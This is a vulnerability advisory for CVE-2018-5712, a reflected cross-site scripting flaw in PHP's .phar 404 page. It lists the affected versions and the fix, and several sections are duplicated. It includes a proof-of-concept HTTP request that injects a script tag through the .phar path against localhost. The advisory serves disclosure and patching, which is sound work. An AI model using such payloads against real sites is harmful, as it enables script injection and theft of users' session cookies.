PHP CVE-2018-5712 Cross Site Scripting Vulnerability
BID:102742
CVE-2018-5712 |Info
PHP CVE-2018-5712 Cross Site Scripting Vulnerability
| Bugtraq ID: | 102742 |
| Class: | Input Validation Error |
| CVE: |
CVE-2018-5712 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 16 2018 12:00AM |
| Updated: | Jan 16 2018 12:00AM |
| Credit: | passownz |
| Vulnerable: |
PHP PHP 7.2 PHP PHP 7.1.12 PHP PHP 7.1.11 PHP PHP 7.1.8 PHP PHP 7.1.7 PHP PHP 7.1.6 PHP PHP 7.1.5 PHP PHP 7.1.4 PHP PHP 7.1.1 PHP PHP 7.1 PHP PHP 7.0.26 PHP PHP 7.0.25 PHP PHP 7.0.22 PHP PHP 7.0.21 PHP PHP 7.0.17 PHP PHP 7.0.16 PHP PHP 7.0.15 PHP PHP 7.0.14 PHP PHP 7.0.12 PHP PHP 7.0.5 PHP PHP 7.0.3 PHP PHP 5.6.32 PHP PHP 5.6.31 PHP PHP 5.6.30 PHP PHP 5.6.29 PHP PHP 5.6.27 PHP PHP 5.6.22 PHP PHP 5.6.21 PHP PHP 5.6.20 PHP PHP 5.6.19 PHP PHP 5.6.18 PHP PHP 5.6.17 PHP PHP 5.6.13 PHP PHP 5.6.12 PHP PHP 5.6.11 PHP PHP 5.6.5 PHP PHP 5.6.4 PHP PHP 5.6.1 PHP PHP 5.6 PHP PHP 7.1.3 PHP PHP 7.1.2 PHP PHP 7.0.9 PHP PHP 7.0.8 PHP PHP 7.0.7 PHP PHP 7.0.6 PHP PHP 7.0.4 PHP PHP 7.0.2 PHP PHP 7.0.13 PHP PHP 7.0.11 PHP PHP 7.0.10 PHP PHP 7.0.1 PHP PHP 5.6.9 PHP PHP 5.6.8 PHP PHP 5.6.7 PHP PHP 5.6.6 PHP PHP 5.6.3 PHP PHP 5.6.28 PHP PHP 5.6.26 PHP PHP 5.6.25 PHP PHP 5.6.24 PHP PHP 5.6.23 PHP PHP 5.6.2 PHP PHP 5.6.14 PHP PHP 5.6.10 |
| Not Vulnerable: |
PHP PHP 7.2.1 PHP PHP 7.0.27 PHP PHP 5.6.33 |
Discussion
PHP CVE-2018-5712 Cross Site Scripting Vulnerability
PHP is prone to a cross-site scripting vulnerability.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
PHP versions prior to 5.6.33, 7.0.0 through 7.0.26, 7.1.0 through 7.1.12, and 7.2.0 are vulnerable.
PHP is prone to a cross-site scripting vulnerability.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
PHP versions prior to 5.6.33, 7.0.0 through 7.0.26, 7.1.0 through 7.1.12, and 7.2.0 are vulnerable.
Exploit / POC
PHP CVE-2018-5712 Cross Site Scripting Vulnerability
The following example request is available:
GET /myapp.phar/%3cscript%3ealert()%3c/script%3e HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
The following example request is available:
GET /myapp.phar/%3cscript%3ealert()%3c/script%3e HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Solution / Fix
PHP CVE-2018-5712 Cross Site Scripting Vulnerability
Solution:
Updates are available. Please see the references or vendor advisory for more information.
Solution:
Updates are available. Please see the references or vendor advisory for more information.
References
PHP CVE-2018-5712 Cross Site Scripting Vulnerability
References:
References:
- PHP 5 ChangeLog (PHP)
- PHP 7 ChangeLog (PHP)
- Oracle Solaris Third Party Bulletin - April 2018 (Oracle)
- Reflected XSS in .phar 404 page (PHP)